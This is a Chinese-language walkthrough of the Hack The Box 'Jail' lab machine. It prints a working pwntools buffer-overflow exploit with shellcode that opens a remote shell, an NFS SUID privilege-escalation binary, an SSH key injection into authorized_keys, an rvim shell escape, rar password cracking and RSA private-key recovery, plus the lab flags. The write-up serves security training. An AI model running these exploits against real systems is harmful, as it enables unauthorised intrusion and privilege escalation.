hackthebox Jail通關攻略

Jail機器所在鏈接:https://app.hackthebox.com/machines/45

要求掌握的技能:利用緩沖區(qū)溢出、枚舉NFS共享、逃逸SELinux沙箱、逃逸rvim、生成指定的字典文件、破解加密的rar文件密碼、根據(jù)RSA公鑰得到私鑰

——端口掃描

nmap掃描發(fā)現(xiàn)打開了如下端口:22、80、111、2049、7411、20048,開啟了ssh、http、nfs和某不知名的服務。

nmap -sC -sV -p- -T4 --min-rate=1000 -vv 10.129.8.83

——進一步探索NFS,發(fā)現(xiàn)/opt,/var/nfsshare共享

sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.129.211.34

——搜索web目錄,發(fā)現(xiàn)jailuser目錄

gobuster dir -u http://10.129.211.34/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 100

jailuser/dev下有3個文件

——緩沖區(qū)溢出

從dev/中下載jail.c等文件,發(fā)現(xiàn)jail.c就是端口7411對應的程序。代碼中明顯存在緩沖區(qū)溢出漏洞

compile.sh將堆棧設置為可執(zhí)行:

gcc -o jail jail.c -m32 -z execstack

——利用緩沖區(qū)利用

確定要輸入多少個字符才能造成緩沖區(qū)溢出?

gdb調(diào)試jail程序

gdb ./jail -q

set detach-on-fork off?? #不讓父子進程脫離

set follow-fork-mode child?? #自動調(diào)試子進程

r

生成長度為50的模式字符,將這個模式字符作為PASS輸入

pattern create 50

nc localhost 7411

USER admin

PASS AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

EIP的數(shù)值停在了“AA;A”

確定模式字符的offset

pattern offset AA;A

即前面填充28個字符,后面跟上地址,EIP將跳轉(zhuǎn)到這里

然后我們可以很容易地寫出利用程序,但在寫該程序時遇到個問題。

問題:如果在python3下運行pwntools,執(zhí)行類似p32(0xffcfe9a0)語句返回的類型為bytes,exploit.py的內(nèi)容如下

mem = p32(0xffcfe9a0)

… …

payload = ""

payload += "A" * 28

payload += mem

payload += buf

… …

p.sendline("PASS " + payload)

解決辦法:

python3下會把p32(0xffcfe9a0)解析為bytes類型,而在python2下將p32(0xffcfe9a0)解析為str類型。因此上述腳本只能在python 2.7下運行。

總結(jié)一下就是:

1、使用python 2.7版本的pwntools

payload = "A"*28 +p32(0xffffd610+32)+ shellcode

2、使用python3版本的pwntools

payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode

需要將地址靜態(tài)寫成字符串形式,如果是動態(tài)獲取的地址就不知道怎么弄了。

——用pwntools寫緩沖區(qū)溢出利用程序

使用reuse socket類型的shellcode獲得連接

https://www.exploit-db.com/exploits/34060

from pwn import *

shellcode ="\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode

r = remote('10.129.113.11', 7411)

print(r.recv(1024))

r.sendline('USER admin')

print(r.recv(1024))

r.sendline('PASS ' + payload)

r.interactive()

注:ffffd610是連接遠程主機獲得的userpass的地址,每次不變。0xffffd610+32=ffffd630

問題:利用腳本中為什么要在泄露的地址處加上32?

解答:

從下面圖可以看到泄露的地址為0xffffc9b0,而執(zhí)行shellcode的地址不是0xffffc9b0,而是0xffffc9b0+32= 0xffffc9d0,28個字符+4字節(jié)地址=32

——獲得連接進入系統(tǒng)

輸入id,連接的用戶為nobody

context=system_u:system_r:unconfined_service_t:s0

這意味著我們進入了SELinux,它是一個內(nèi)核模塊,它通過監(jiān)控主機上發(fā)生的操作來增強安全控制。Context由用戶名、角色和域組成,為不同的用戶、角色或類型授予執(zhí)行某些操作的權限。

——掛載NFS共享

由于Jail開了2049端口,掛載的為NFS,前面已經(jīng)獲知有2個共享,我們分別掛載上

sudo mount -t nfs 10.129.8.31:/opt/mnt/jail/opt

sudo mount -t nfs 10.129.8.31:/var/nfsshare /mnt/jail/nfsshare

實際上,Jail 上并沒有kali組,而是遠程主機上 id為1000的組。在我的系統(tǒng)看到組ID 1000 時,它會查找該組的名稱,即kali,并使用它。

作為組 1000 的成員,我無法在此目錄中讀取,但可以寫入。

在Jail上可以看到,1000組對應為frank

用戶frank在以下/etc/passwd條目中

查看這些共享是如何掛載的

cat /etc/exports

root_squash意味著如果在本地以root身份運行,這將被視為Jail上的默認的nobody用戶,因此無法以root身份讀取文件。

——權限提升至用戶frank

掛載文件夾/var/nfsshare,使用戶kali成為組1000的一部分。以kali用戶身份設置的 Suid 位編寫和編譯二進制文件,在Jail上運行二進制文件以獲得frank身份。

touch /mnt/jail/nfsshare/bypass-id.c

#include?<stdio.h>

#include?<stdlib.h>

#include?<unistd.h>

int main( int argc, char *argv[] )

{

???????setreuid(1000, 1000);

???????printf("ID: %d\n", geteuid());

???????execve("/bin/bash", NULL, NULL);

}

gcc -o bypass-id -static bypass-id.c

chmod 4755 bypass-id

在Jail BOX上運行下述命令

/var/nfsshare/bypass-id

id由nobody變?yōu)閒rank

frank/.ssh下有authorized_keys文件

將id換成frank并不能將shell變?yōu)榻换ナ降?。因此我們可以生成公私鑰對,將公鑰拷貝到/home/frank/.ssh/authorized_keys中,然后就能以frank用戶登錄了。

ssh-keygen -f frank

cat frank-key.pub

echo "ssh-ed25519

AAAAC3NzaC1lZDI1NTE5AAAAIKhBarAcsp80FsTbn0mZUD+hLYktfklUxg11nnpo99Be

kali@kali" >> ~/.ssh/authorized_keys

ssh -i frank frank@10.129.8.31

提交用戶標志

944db90dfc039bf0a3abbee1ed44378a

——提權到root

查看sudo -l,logreader.sh沒有可利用的地方。發(fā)現(xiàn)可以adm運行jail.c

——切換到用戶adm

sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

在rvim輸入命令python import pty;pty.spawn("/bin/bash")可將用戶切換到adm

adm主目錄下有3個文件:note.txt、.frank、keys.rar

keys.rar包含root公鑰,需要解壓密碼才能解開

note.txt提示密碼為:Frank的姓+4個數(shù)字+1個字符

.frank的內(nèi)容如下,看不出任何含義

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

看著像是對字符進行了簡單移位,我們用https://quipqiup.com/進行解密

解密的結(jié)果為

Hahaha! Nobodywill guess my new password! Only a few lucky souls have Escaped from Alcatrazalive like I did!!!

哈哈哈!沒有人會猜到我的新密碼!只有少數(shù)幸運的人會像我一樣或者逃離惡魔島??!

從解密結(jié)果的字面意思,到谷歌上搜索從惡魔島逃離的人

顯示了3個人:

John Anglin、Clarence Anglin、Frank Morris

鑒于Jail上的用戶為frank,應該就是Frank Morris

從notes的內(nèi)容

Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

猜到密碼可能為Morris+4個數(shù)字和1個字符

——使用hashcat生成字典

hashcat --stdout -a 3 Morris19?d?d?s > jail.words

生成的字典如下

用rar2john獲取keys.rar的hash,將其保存為jail.hash

rar2john keys.rar

vi jail.hash

用john和上面生成的字典破解rar文件的密碼,得到密碼為Morris1962!

john --wordlist=./jail.words ./jail.hash

用上述密碼解壓keys.rar

unrar x keys.rar

解壓出來的rootauthorizedsshkey.pub如下所示

安裝工具RsaCtfTool,由得到的公鑰獲取私鑰

/opt/RsaCtfTool/RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private

得到私鑰

問題:將私鑰拷貝到root.key,ssh登錄時提示需要輸入密碼?

解決辦法:

從提示信息“sign_and_send_pubkey: no mutual signature supported”可知,算法不再支持。

ssh-rsa已棄用。ssh-rsa自 OpenSSH 8.8 以來,簽名類型 (sha1) 已不受支持,并被替換為rsa-sha2-256或rsa-sha2-512(在 2016 年的 OpenSSH 7.2 中添加)。因此,在服務器升級之前,客戶端將需要ssh-rsa使用 PubkeyAcceptedKeyTypes 將已棄用的標記為允許。

ssh -i root.key root@10.129.8.83 -o PubkeyAcceptedKeyTypes=ssh-rsa

這樣就能進入ssh了。

——提交root標志

9d001091018c0a78c57b1f79b9afbc5f

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容